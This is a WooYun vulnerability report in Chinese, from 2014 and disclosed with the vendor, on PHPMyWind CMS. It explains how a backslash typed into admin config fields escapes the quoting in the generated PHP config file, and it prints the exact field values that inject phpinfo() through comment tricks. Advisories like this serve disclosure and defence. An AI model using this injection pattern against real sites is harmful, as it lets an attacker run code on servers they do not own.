当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053746

漏洞标题:PHPMYWIND 后台Getshell的一种方法

相关厂商:phpmywind.com

漏洞作者: ′雨。

提交时间:2014-03-17 19:23

修复时间:2014-06-15 19:23

公开时间:2014-06-15 19:23

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-17: 细节已通知厂商并且等待厂商处理中
2014-03-26: 厂商已经确认,细节仅向厂商公开
2014-03-29: 细节向第三方安全合作伙伴开放
2014-05-20: 细节向核心白帽子及相关领域专家公开
2014-05-30: 细节向普通白帽子公开
2014-06-09: 细节向实习白帽子公开
2014-06-15: 细节向公众公开

简要描述:

过滤不严。

详细说明:

phpmywind 和 dedecms 都挺像的。
在修改配置文件的时候 过滤掉了单引号 防止闭合单引号 Getshell。

$cfg_webname = '我的网站';
$cfg_weburl = 'http://127.0.0.1';
$cfg_webpath = '/phpmywind';
$cfg_author = '';
$cfg_generator = 'PHPMyWind CMS';
$cfg_keyword = '';
$cfg_description = '';


配置文件 单引号保护。 然后过滤掉单引号。 看似无法从配置文件这里下手
其实还是可以的。 这里并没有过滤转义符。
首先 我们$cfg_webname = '1\';
转义第一行后面的第一个单引号 然后 第一行和第二行的第一个单引号闭合
然后利用多行注释 注释掉 第二行的后面的单引号 和第三行 前面的单引号
然后再利用单行注释 注释掉第三行后面的单引号。

$cfg_webname = '\';
$cfg_weburl = '/*';
$cfg_webpath = '*/;phpinfo();#';


修改后 就成为了这样。 可以看到第三行的是已经没有单引号的。
因为转义符是会被gpc转义的。 但是他这里gpc on 依旧能拿。
就是因为他在这里 会自动去掉转义字符。

漏洞证明:

10.jpg


不知道怎么回事 写一个\ 配置文件里面没有 写两个\ 就有一个了。

PWSC@X8[Y46Q4ZJ0R(8IM9W.jpg


成功getshell。

$cfg_webname = '\';
$cfg_weburl = '/*';
$cfg_webpath = '*/;phpinfo();#';
$cfg_author = '';
$cfg_generator = 'PHPMyWind CMS';

修复方案:

过滤转义符。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2014-03-26 17:13

厂商回复:

后台修改信息页面注入漏洞相对危害较小

最新状态:

暂无